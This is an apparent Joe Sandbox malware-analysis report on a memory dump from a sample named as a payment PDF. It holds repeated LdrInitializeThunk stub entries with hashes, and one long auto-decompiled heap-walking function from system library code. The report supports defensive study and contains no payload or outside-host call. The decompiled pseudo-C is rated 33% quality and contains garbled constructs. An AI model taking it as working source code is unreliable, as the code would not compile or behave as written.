Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: e93391ef0a406edf956c36aa1fa2437f59e11ebbcc37c575d8959d8037e4a21e
Instruction ID: cc49ec9340f660d4edcd5858563107c23903948e42208a554fe30fe271892531
Opcode Fuzzy Hash: e93391ef0a406edf956c36aa1fa2437f59e11ebbcc37c575d8959d8037e4a21e
Instruction Fuzzy Hash: AB90022521184452E60066684D14B07000557D1303F51C51AA0154554CC93588656535

Uniqueness

Uniqueness Score: -1.00%

Function 334B2E50 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2E5A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 9c31575bdc4595493ae51d77cd0441164609929300648ffba313e2579fb5952a
Instruction ID: 36ff207961171460ebf65f19c7d49d1583f3958abfae59fe23e7e45c13c64c29
Opcode Fuzzy Hash: 9c31575bdc4595493ae51d77cd0441164609929300648ffba313e2579fb5952a
Instruction Fuzzy Hash: 2790026534104852E50062584514B06000597E2302F51C41AE1064554DC639CC56713A

Uniqueness

Uniqueness Score: -1.00%

Function 334B2E00 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2E0A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 889bc86c01345f447ab1449587d29707936b1e3e54492d843c9bdcc342580637
Instruction ID: 9be7587d54cac3864ad766424af887a5b1fdb775b2c79ca962f1b72225a0d746
Opcode Fuzzy Hash: 889bc86c01345f447ab1449587d29707936b1e3e54492d843c9bdcc342580637
Instruction Fuzzy Hash: 2090026520144813E54066584904607000557D1303F51C416A2064555ECA398C557139

Uniqueness

Uniqueness Score: -1.00%

Function 334B2ED0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2EDA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 7573e7fe48c7f20b070f00f50a106284e058dc54c9ac78c6dac929637ccacafb
Instruction ID: d11310614410e31163047db2d895ccb0d75083411891e3b1fdd1b4901e526306
Opcode Fuzzy Hash: 7573e7fe48c7f20b070f00f50a106284e058dc54c9ac78c6dac929637ccacafb
Instruction Fuzzy Hash: 3D9002256010445255407268894490640057BE2212751C526A0998550DC57988696679

Uniqueness

Uniqueness Score: -1.00%

Function 334B2D10 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2D1A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: ebcbffda997cd3c7148a7a7fbe55454d6626382a0b795928be87dc9e8b4191b7
Instruction ID: 35080b113eef85dc62bbbb3386175ba7383dd7aa7dabc5bbd5f0025c409964c4
Opcode Fuzzy Hash: ebcbffda997cd3c7148a7a7fbe55454d6626382a0b795928be87dc9e8b4191b7
Instruction Fuzzy Hash: 5C90023520104823E51162584604707000957D1242F91C817A0424558DD6768956B135

Uniqueness

Uniqueness Score: -1.00%

Function 334B2DC0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2DCA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: d5ea2812b33f5229d77e3e33854c34a7a6bf5b9fae01b79dc871d18de92ff028
Instruction ID: 3584d3f85a40c726f3a8f64d2b7fa64f66c3256730e0d3e02a699db35498e2dd
Opcode Fuzzy Hash: d5ea2812b33f5229d77e3e33854c34a7a6bf5b9fae01b79dc871d18de92ff028
Instruction Fuzzy Hash: 4790027520104812E54072584504746000557D1302F51C416A5064554EC6798DD97679

Uniqueness

Uniqueness Score: -1.00%

Function 334B2C30 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2C3A

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: debbfd72b73f48f22ad858b395d8b3fa710e46251a28b9c737711212422885f0
Instruction ID: 0650c924a50312c06f56eebe0a20af373b3bde5b52aa190f59ce7f210f72ae36
Opcode Fuzzy Hash: debbfd72b73f48f22ad858b395d8b3fa710e46251a28b9c737711212422885f0
Instruction Fuzzy Hash: D390022D21304412E5807258550860A000557D2203F91D81AA0015558CC935886D6335

Uniqueness

Uniqueness Score: -1.00%

Function 334B2CF0 Relevance: 1.5, APIs: 1, Instructions: 4
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2CFA

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 75e82618dd7974f0d8ed0ad8ce79a344263b9a911e053799360dd47f05598849
Instruction ID: 109c1be1cb96585d94f5d0e0d5f097a8cf8b7113dcb1de3fc9874d42d946bd97
Opcode Fuzzy Hash: 75e82618dd7974f0d8ed0ad8ce79a344263b9a911e053799360dd47f05598849
Instruction Fuzzy Hash: F7900225242085626945B2584504507400667E1242791C417A1414950CC536985AE635

Uniqueness

Uniqueness Score: -1.00%

Function 334B2B2A Relevance: 1.5, APIs: 1, Instructions: 8
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LdrInitializeThunk.NTDLL ref: 334B2B44

Memory Dump Source

Source File: 00000006.00000002.88738890102.0000000033440000.00000040.00001000.00020000.00000000.sdmp, Offset: 33440000, based on PE: true

Associated: 00000006.00000002.88738890102.0000000033569000.00000040.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.88738890102.000000003356D000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_33440000_PAYNOW_2023_08_002783pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 70a854d5f385c07300b09f555c2c057719013d14651ead6b092992c8ef106636
Instruction ID: 78ab903d08e5de29226463f8b00204c2c9a0f991c010a4eb858d35a99a89a8d7
Opcode Fuzzy Hash: 70a854d5f385c07300b09f555c2c057719013d14651ead6b092992c8ef106636
Instruction Fuzzy Hash: 6FB09B759054C5D5FA01DB604708707791477D1741F15C456D1470651E8738C095F179

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 33519060 Relevance: 19.8, APIs: 8, Strings: 3, Instructions: 558
timeCOMMON

Download Yara Rule

C-Code - Quality: 33%

			E33519060(signed int _a4, intOrPtr* _a8) {
				signed int _v8;
				short _v18;
				short _v20;
				signed int _v24;
				intOrPtr _v28;
				signed int _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				intOrPtr _v56;
				intOrPtr _v60;
				char _v64;
				char _v68;
				signed int _v72;
				char _v76;
				signed int _v80;
				signed int* _v84;
				intOrPtr _v100;
				intOrPtr _v104;
				intOrPtr _v108;
				intOrPtr _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				intOrPtr _v128;
				intOrPtr _v132;
				intOrPtr _v136;
				intOrPtr _v140;
				intOrPtr _v144;
				intOrPtr _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v168;
				void _v172;
				signed int _v176;
				signed int _v180;
				intOrPtr _v184;
				signed int _v188;
				short _v190;
				short _v192;
				signed int _v196;
				signed int _v198;
				signed int _v200;
				signed int _v204;
				signed int _v206;
				void _v208;
				signed int* _v212;
				signed int _v214;
				void* _v216;
				intOrPtr _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				char _v233;
				char _v236;
				signed int _v240;
				signed int _v241;
				intOrPtr* _v244;
				intOrPtr _v248;
				signed int _v249;
				void* __ebx;
				void* __edi;
				void* __esi;
				intOrPtr* _t299;
				signed int _t310;
				signed int _t315;
				signed int _t316;
				signed int _t321;
				signed int _t322;
				char* _t323;
				signed int _t325;
				signed int _t329;
				signed int _t333;
				signed int* _t334;
				signed int _t349;
				signed int _t352;
				signed int _t357;
				signed int _t367;
				signed int _t373;
				intOrPtr _t422;
				signed int _t423;
				signed int _t424;
				void* _t427;
				signed int _t429;
				signed int _t431;
				signed int _t434;
				void* _t435;
				signed int _t436;
				intOrPtr _t444;
				signed int _t448;
				signed int _t452;
				void _t458;
				signed int _t461;
				signed int _t464;
				signed int _t467;
				signed int _t468;
				signed int _t469;
				signed int _t471;
				signed int _t472;
				intOrPtr _t475;
				intOrPtr _t478;
				signed int _t480;
				intOrPtr* _t484;
				void* _t485;
				intOrPtr _t488;
				intOrPtr _t489;
				signed int _t492;
				signed int _t495;
				signed int _t496;
				signed int _t499;
				void* _t500;
				signed int _t501;
				signed int _t503;

				_t503 = (_t501 & 0xfffffff8) - 0xec;
				_v8 =  *0x3356b370 ^ _t503;
				_t299 = _a8;
				_t499 = _a4;
				_t434 = 0;
				_t482 =  *_t299;
				_t484 =  *((intOrPtr*)(_t299 + 4));
				_v204 = _t482;
				_v232 =  *((intOrPtr*)(_t299 + 8));
				_v228 = _t484;
				_v68 = 0;
				if( *((intOrPtr*)(_t499 + 8)) != 0xddeeddee) {
					__eflags =  *(_t499 + 0x44) & 0x01000000;
					_v233 = 0;
					_v212 = 0;
					if(( *(_t499 + 0x44) & 0x01000000) == 0) {
						goto L2;
					} else {
						_t310 = 0xc0000002;
						goto L98;
					}
				} else {
					_v233 = 1;
					_v212 = _t499;
					L2:
					if(_t482 != 0x80000000) {
						L334B8F40( &_v156, _t434, 0x54);
						_t503 = _t503 + 0xc;
						_v172 = 2;
						_v168 = 0x20;
						_v164 = _t499;
						__eflags = _v233 - _t434;
						if(_v233 != _t434) {
							_t444 = _v212;
							_v160 = _t434;
							_v156 =  *(_t444 + 0x80) << 0xc;
							_v156 = _v156 + ( *(_t444 + 0x4c) << 0xc);
							_v152 =  *(_t444 + 0x84) << 0xc;
							_t81 =  &_v152;
							 *_t81 = _v152 + ( *(_t444 + 0x50) << 0xc);
							__eflags =  *_t81;
							_t310 = _t434;
						} else {
							_t482 =  &_v156;
							_v160 =  *(_t499 + 0xea) & 0x000000ff;
							_t310 = L335198AA(_t499,  &_v156,  &_v152);
						}
						__eflags = _t310;
						if(_t310 < 0) {
							L98:
							_pop(_t485);
							_pop(_t500);
							_pop(_t435);
							return E334B4B50(_t310, _t435, _v8 ^ _t503, _t482, _t485, _t500);
						} else {
							 *0x335691e0( &_v172, _v232);
							_t310 =  *_t484();
							__eflags = _t310;
							if(_t310 < 0) {
								goto L98;
							}
							_t482 = _v212;
							__eflags = _t482 - 3;
							if(_t482 < 3) {
								goto L98;
							}
							_v232 = _t434;
							_push("true");
							__eflags = _t482 - 3;
							_v228 = _t434;
							_pop(_t448);
							_t315 = memset( &_v208, 0, _t448 << 2);
							_t503 = _t503 + 0xc;
							_t316 = _t315 & 0xffffff00 | __eflags > 0x00000000;
							_t488 = 0;
							__eflags = 0;
							_v224 = _t316;
							while(1) {
								_t482 =  &_v208;
								_t310 = E3351A388(_t499,  &_v208, _t316);
								__eflags = _t310 - 0x8000001a;
								if(_t310 == 0x8000001a) {
									break;
								}
								__eflags = _t310;
								if(_t310 < 0) {
									goto L98;
								}
								_t436 = _v198;
								__eflags = _t436 & 0x00000002;
								if((_t436 & 0x00000002) == 0) {
									__eflags = _t436 & 0x00004000;
									if((_t436 & 0x00004000) == 0) {
										__eflags = _t436 & 0x00001000;
										if((_t436 & 0x00001000) == 0) {
											__eflags = _v241;
											if(_v241 != 0) {
												L75:
												__eflags = _v212 - 4;
												_t316 = _v224;
												if(_v212 < 4) {
													continue;
												}
												L76:
												__eflags = _t436 & 0x000000f0;
												if((_t436 & 0x000000f0) == 0) {
													L334B8F40( &_v180, _t488, 0x64);
													_t503 = _t503 + 0xc;
													_v172 = _v208;
													_v164 = _v204;
													_t321 = _v188;
													_v180 = 5;
													_v176 = 0x1c;
													__eflags = _t436 & 0x00000002;
													if((_t436 & 0x00000002) != 0) {
														_t321 = _v200 & 0x000000ff;
													}
													_v160 = _t321;
													__eflags = _t436 & 0x00000001;
													if((_t436 & 0x00000001) == 0) {
														_t322 = _v168;
													} else {
														_t322 = 1;
														_v168 = 1;
													}
													__eflags = _t436 & 0x00004000;
													if((_t436 & 0x00004000) == 0) {
														__eflags = _t436 & 0x00008000;
														if((_t436 & 0x00008000) == 0) {
															goto L94;
														}
														_t325 = _t322 | 0x00000008;
														__eflags = _t325;
														goto L93;
													} else {
														_t325 = _t322 | 0x00000004;
														L93:
														_v168 = _t325;
														L94:
														_t323 =  &_v180;
														L95:
														 *0x335691e0(_t323, _v240);
														_t310 =  *_v236();
														__eflags = _t310;
														if(_t310 < 0) {
															goto L98;
														}
														L96:
														_t316 = _v232;
														continue;
													}
												}
												_t452 = _v188;
												_v56 = _v208;
												_push("true");
												_v48 = _v204;
												_pop(_t329);
												_v40 = _t488;
												_v36 = _t488;
												_v64 = 5;
												_v60 = 0x30;
												_v52 = _t329;
												__eflags = _t329 & _t436;
												if((_t329 & _t436) != 0) {
													_t452 = _v200 & 0x000000ff;
												}
												_v44 = _t452;
												__eflags = _t436 & 0x00004000;
												if((_t436 & 0x00004000) != 0) {
													_push("true");
													_pop(_t329);
													_v52 = _t329;
												}
												__eflags = _t436 & 0x00000001;
												if((_t436 & 0x00000001) != 0) {
													_t333 = _t329 | 0x00000001;
													__eflags = _t333;
													_v52 = _t333;
												}
												_v24 = _v196;
												_v20 = _v192;
												_v18 = _v190;
												_t323 =  &_v64;
												_v32 = 1;
												_v28 = 0x14;
												goto L95;
											}
											_t334 = _v208;
											__eflags = _t334 - _v232;
											if(_t334 < _v232) {
												L72:
												_t482 = _t334;
												E33518093(_v76, _t334,  &_v232,  &_v228,  &_v68,  &_v216);
												__eflags = _v228 - 4;
												if(_v228 < 4) {
													goto L96;
												}
												L334B8F40( &_v180, _t488, 0x64);
												_t458 = _v232;
												_t503 = _t503 + 0xc;
												_v168 = _v228 - _t458;
												_v160 = _v216;
												_v172 = _t458;
												_v180 = 4;
												_v176 = 0x20;
												_v164 = 1;
												 *0x335691e0( &_v180, _v240);
												_t310 =  *_v236();
												__eflags = _t310;
												if(_t310 < 0) {
													goto L98;
												}
												_t436 = _v206;
												goto L75;
											}
											__eflags = _t334 - _v228;
											if(_t334 <= _v228) {
												goto L75;
											}
											goto L72;
										}
										__eflags = _v212 - 4;
										_t316 = _v224;
										if(_v212 < 4) {
											continue;
										}
										L334B8F40( &_v180, _t488, 0x64);
										_t503 = _t503 + 0xc;
										_v172 = _v208;
										_t325 = _v204;
										_v180 = 4;
										_v176 = 0x20;
										_v164 = 2;
										_v160 = 1;
										goto L93;
									}
									L334B8F40( &_v172, 0, 0x5c);
									_t503 = _t503 + 0xc;
									_v180 = 3;
									_t496 = 0;
									_v176 = 0x1c;
									_v72 = 0;
									__eflags = _v241;
									if(_v241 != 0) {
										_t482 = _v208;
										_t349 = _v220 + 0x44;
										_v172 = _t482;
										__eflags =  *(_t349 + 4) & 0x00000001;
										_t496 =  *_t349;
										if(( *(_t349 + 4) & 0x00000001) != 0) {
											__eflags = _t496;
											if(_t496 == 0) {
												_t496 = 0;
											} else {
												_t496 = _t496 ^ _t349;
											}
										}
										_t461 =  *(_t349 + 4) & 1;
										while(1) {
											__eflags = _t496;
											if(_t496 == 0) {
												break;
											}
											__eflags = _t482 - ( *(_t496 + 0xc) & 0xffff0000);
											if(__eflags < 0) {
												_t352 =  *_t496;
												L54:
												__eflags = _t461;
												if(_t461 == 0) {
													L57:
													_t496 = _t352;
													continue;
												}
												__eflags = _t352;
												if(_t352 == 0) {
													goto L57;
												}
												_t496 = _t496 ^ _t352;
												continue;
											}
											if(__eflags <= 0) {
												break;
											}
											_t352 =  *(_t496 + 4);
											goto L54;
										}
										_v168 = ( *(_t496 + 0x10) & 0xfffff000) + 0x1000;
										_t357 =  *(_t496 + 0x10) & 0xfffff000;
										__eflags = _t357;
										L60:
										_v164 = _t357;
										 *0x335691e0( &_v180, _v240);
										_t310 = _v236();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										}
										L334B8F40( &_v176, 0, 0x58);
										_t503 = _t503 + 0xc;
										_v184 = 0x20;
										_push("true");
										_pop(_t464);
										_v188 = _t464;
										__eflags = _v249;
										if(_v249 != 0) {
											_v180 = _v216;
											_v176 =  *(_t496 + 0x10) & 0xfffff000;
											_t367 =  *(_v228 + 0xc) & 0x40000000;
											__eflags = _t367;
										} else {
											_t373 = _v80;
											_v180 = _t373;
											_v176 =  *((intOrPtr*)(_t373 + 0x10));
											_t367 =  *(_t499 + 0x40) & 0x00040000;
										}
										_v172 = 1;
										asm("sbb eax, eax");
										_v168 = ( ~_t367 & 0x0000003c) + _t464;
										 *0x335691e0( &_v188, _v248);
										_t310 =  *_v244();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										} else {
											_t436 = _v214;
											_t488 = 0;
											goto L76;
										}
									}
									_t467 = _v208 + 0xfffffff8;
									__eflags =  *((char*)(_t467 + 7)) - 5;
									if( *((char*)(_t467 + 7)) == 5) {
										_t467 = _t467 - (( *(_t467 + 6) & 0x000000ff) << 3);
										__eflags = _t467;
									}
									_t468 = _t467 + 0xffffffe8;
									_v72 = _t468;
									_v172 = _t468 & 0xffff0000;
									_v168 =  *((intOrPtr*)(_t468 + 0x14));
									_t357 =  *(_t468 + 0x10);
									goto L60;
								}
								__eflags = _v241;
								if(_v241 != 0) {
									L30:
									_t489 = _v208;
									L31:
									L334B8F40( &_v160, 0, 0x50);
									_t469 = _v196;
									_t503 = _t503 + 0xc;
									_v172 = _t489;
									_v168 = _v192 + _t469;
									_v164 = _t469;
									_v180 = 3;
									_v176 = 0x1c;
									 *0x335691e0( &_v180, _v240);
									_t310 =  *_v236();
									__eflags = _t310;
									if(_t310 < 0) {
										goto L98;
									}
									__eflags = _v249;
									if(_v249 != 0) {
										_t471 = _v216;
										_v236 = _v204 + _t471;
										_t492 =  *(_v228 + 0xc) & 0x40000000;
										__eflags = _t492;
										L37:
										_v240 = _t471;
										asm("sbb edi, edi");
										_t495 = ( ~_t492 & 0x0000003c) + 4;
										__eflags = _t495;
										_v224 = _t495;
										L38:
										L334B8F40( &_v188, 0, 0x64);
										_t472 = _v240;
										_t503 = _t503 + 0xc;
										_v176 = _v236 - _t472;
										_v180 = _t472;
										_v188 = 4;
										_v184 = 0x20;
										_v172 = 1;
										_v168 = _t495;
										 *0x335691e0( &_v188, _v248);
										_t310 =  *_v244();
										__eflags = _t310;
										if(_t310 < 0) {
											goto L98;
										}
										_t488 = 0;
										goto L96;
									}
									__eflags = _v206 & 0x00008000;
									if((_v206 & 0x00008000) != 0) {
										_t471 = _v216;
										_v236 = _v204 + _t471;
										_t492 =  *(_t499 + 0x40) & 0x00040000;
										goto L37;
									}
									_t482 = _v84;
									E33518093(_v84, _v84,  &_v240,  &_v236,  &_v76,  &_v224);
									_t495 = _v240;
									goto L38;
								}
								__eflags = _t436 & 0x00008000;
								if((_t436 & 0x00008000) != 0) {
									goto L30;
								}
								_t475 = _v208;
								_v76 = _t475;
								__eflags = _t475 + 0x10 -  *((intOrPtr*)(_t499 + 0xa4));
								if(_t475 + 0x10 !=  *((intOrPtr*)(_t499 + 0xa4))) {
									_t489 = _t475;
								} else {
									_t489 = _t499;
								}
								goto L31;
							}
							_t310 = 0;
							__eflags = 0;
							goto L98;
						}
					}
					L334B8F40( &_v164, _t434, 0x5c);
					_t503 = _t503 + 0xc;
					_v172 = 0x80000000;
					_v168 = 0x64;
					if(_v233 == _t434) {
						_v156 =  *(_t499 + 0x7c) & 0x0000ffff;
						_v160 = 1;
						_v148 = _t499;
						_v152 =  *((intOrPtr*)( *[fs:0x30] + 0x88)) - 1;
						_v144 =  *((intOrPtr*)(_t499 + 0x1f4));
						_v140 =  *((intOrPtr*)(_t499 + 0x1f8)) -  *((intOrPtr*)(_t499 + 0x244));
						_v124 = E3351D7E5(_t499);
						_v120 =  *(_t499 + 0x74) << 3;
						_v128 =  *((intOrPtr*)(_t499 + 0x208));
						_v108 =  *((intOrPtr*)(_t499 + 0x200));
						_v132 =  *((intOrPtr*)(_t499 + 0x1fc));
						_v136 =  *((intOrPtr*)(_t499 + 0x204));
						_t422 =  *((intOrPtr*)(_t499 + 0x20c));
						_v104 = _t422;
						_v100 = _t422;
						_t423 =  *(_t499 + 0xb4);
						__eflags = _t423;
						if(_t423 != 0) {
							_t480 =  *((intOrPtr*)(_t423 + 0xc));
							_v116 = _t480;
							_t429 =  *_t423;
							__eflags = _t429;
							if(_t429 != 0) {
								_t431 =  *((intOrPtr*)(_t429 + 0xc)) + _t480;
								__eflags = _t431;
								_v116 = _t431;
							}
						}
						_t424 =  *(_t499 + 0xc8);
						_t478 =  *((intOrPtr*)(_t499 + 0x218));
						_v112 = _t478;
						__eflags = _t424;
						if(_t424 != 0) {
							_t427 =  *_t424;
							__eflags = _t427 - 0xffffffff;
							if(_t427 != 0xffffffff) {
								_t434 =  *(_t427 + 0x14);
							}
							_v112 = _t478 + _t434;
						}
					} else {
						_t482 =  &_v172;
						E335392AB(_v212,  &_v172);
					}
					 *0x335691e0( &_v172, _v232);
					_t310 =  *_t484();
					goto L98;
				}
			}

0x33519068
0x33519075
0x3351907c
0x33519081
0x33519084
0x33519086
0x33519093
0x33519096
0x3351909a
0x3351909e
0x335190a2
0x335190a9
0x335190f8
0x335190ff
0x33519103
0x33519107
0x00000000
0x33519109
0x33519109
0x00000000
0x33519109
0x335190ab
0x335190ab
0x335190b0
0x335190b4
0x335190ba
0x3351921d
0x33519222
0x33519225
0x3351922d
0x33519235
0x33519239
0x3351923d
0x3351925c
0x33519260
0x3351926d
0x33519277
0x33519284
0x3351928e
0x3351928e
0x3351928e
0x33519292
0x3351923f
0x33519246
0x3351924a
0x33519255
0x33519255
0x33519294
0x33519296
0x33519893
0x3351989a
0x3351989b
0x3351989c
0x335198a7
0x3351929c
0x335192a7
0x335192ad
0x335192af
0x335192b1
0x00000000
0x00000000
0x335192b7
0x335192bb
0x335192be
0x00000000
0x00000000
0x335192c6
0x335192ca
0x335192cc
0x335192cf
0x335192d3
0x335192d8
0x335192d8
0x335192da
0x335192dd
0x335192dd
0x335192df
0x335192e3
0x335192e4
0x335192ea
0x335192ef
0x335192f4
0x00000000
0x00000000
0x335192fa
0x335192fc
0x00000000
0x00000000
0x33519302
0x33519306
0x33519309
0x3351947c
0x33519482
0x3351961c
0x33519622
0x33519674
0x33519679
0x33519728
0x33519728
0x3351972d
0x33519731
0x00000000
0x00000000
0x33519737
0x33519737
0x3351973a
0x33519805
0x3351980e
0x33519811
0x33519819
0x3351981d
0x33519821
0x33519829
0x33519831
0x33519834
0x33519836
0x33519836
0x3351983b
0x3351983f
0x33519842
0x3351984d
0x33519844
0x33519846
0x33519847
0x33519847
0x33519851
0x33519857
0x3351985e
0x33519864
0x00000000
0x00000000
0x33519866
0x33519866
0x00000000
0x33519859
0x33519859
0x33519869
0x33519869
0x3351986d
0x3351986d
0x33519871
0x3351987c
0x33519882
0x33519884
0x33519886
0x00000000
0x00000000
0x33519888
0x33519888
0x00000000
0x33519888
0x33519857
0x33519744
0x33519748
0x33519753
0x33519755
0x3351975c
0x3351975d
0x33519764
0x3351976b
0x33519776
0x33519781
0x33519788
0x3351978a
0x3351978c
0x3351978c
0x33519791
0x33519798
0x3351979e
0x335197a0
0x335197a2
0x335197a3
0x335197a3
0x335197aa
0x335197ad
0x335197af
0x335197af
0x335197b2
0x335197b2
0x335197bd
0x335197c9
0x335197d6
0x335197de
0x335197e5
0x335197f0
0x00000000
0x335197f0
0x3351967f
0x33519683
0x33519687
0x33519693
0x33519697
0x335196b3
0x335196b8
0x335196bd
0x00000000
0x00000000
0x335196cb
0x335196d0
0x335196d4
0x335196e1
0x335196ed
0x335196f5
0x335196fc
0x33519704
0x3351970c
0x33519714
0x3351971a
0x3351971c
0x3351971e
0x00000000
0x00000000
0x33519724
0x00000000
0x33519724
0x33519689
0x3351968d
0x00000000
0x00000000
0x00000000
0x3351968d
0x33519624
0x33519629
0x3351962d
0x00000000
0x00000000
0x3351963b
0x33519644
0x33519647
0x3351964b
0x3351964f
0x33519657
0x3351965f
0x33519667
0x00000000
0x33519667
0x33519492
0x33519497
0x3351949a
0x335194a2
0x335194a4
0x335194ac
0x335194b3
0x335194b7
0x335194f4
0x335194f8
0x335194fb
0x335194ff
0x33519503
0x33519505
0x33519507
0x33519509
0x3351950f
0x3351950b
0x3351950b
0x3351950b
0x33519509
0x33519515
0x3351953d
0x3351953d
0x3351953f
0x00000000
0x00000000
0x33519522
0x33519524
0x3351952d
0x3351952f
0x3351952f
0x33519531
0x3351953b
0x3351953b
0x00000000
0x3351953b
0x33519533
0x33519535
0x00000000
0x00000000
0x33519537
0x00000000
0x33519537
0x33519526
0x00000000
0x00000000
0x33519528
0x00000000
0x33519528
0x33519550
0x33519557
0x33519557
0x33519559
0x33519561
0x3351956a
0x33519570
0x33519574
0x33519576
0x00000000
0x00000000
0x33519584
0x33519589
0x3351958c
0x33519594
0x33519596
0x33519597
0x3351959b
0x3351959f
0x335195c1
0x335195cd
0x335195d8
0x335195d8
0x335195a1
0x335195a1
0x335195a8
0x335195af
0x335195b6
0x335195b6
0x335195e7
0x335195ef
0x335195f8
0x33519601
0x33519607
0x33519609
0x3351960b
0x00000000
0x33519611
0x33519611
0x33519615
0x00000000
0x33519615
0x3351960b
0x335194bd
0x335194c0
0x335194c4
0x335194cd
0x335194cd
0x335194cd
0x335194cf
0x335194d4
0x335194e0
0x335194e7
0x335194eb
0x00000000
0x335194eb
0x3351930f
0x33519314
0x3351933c
0x3351933c
0x33519340
0x3351934a
0x3351934f
0x33519353
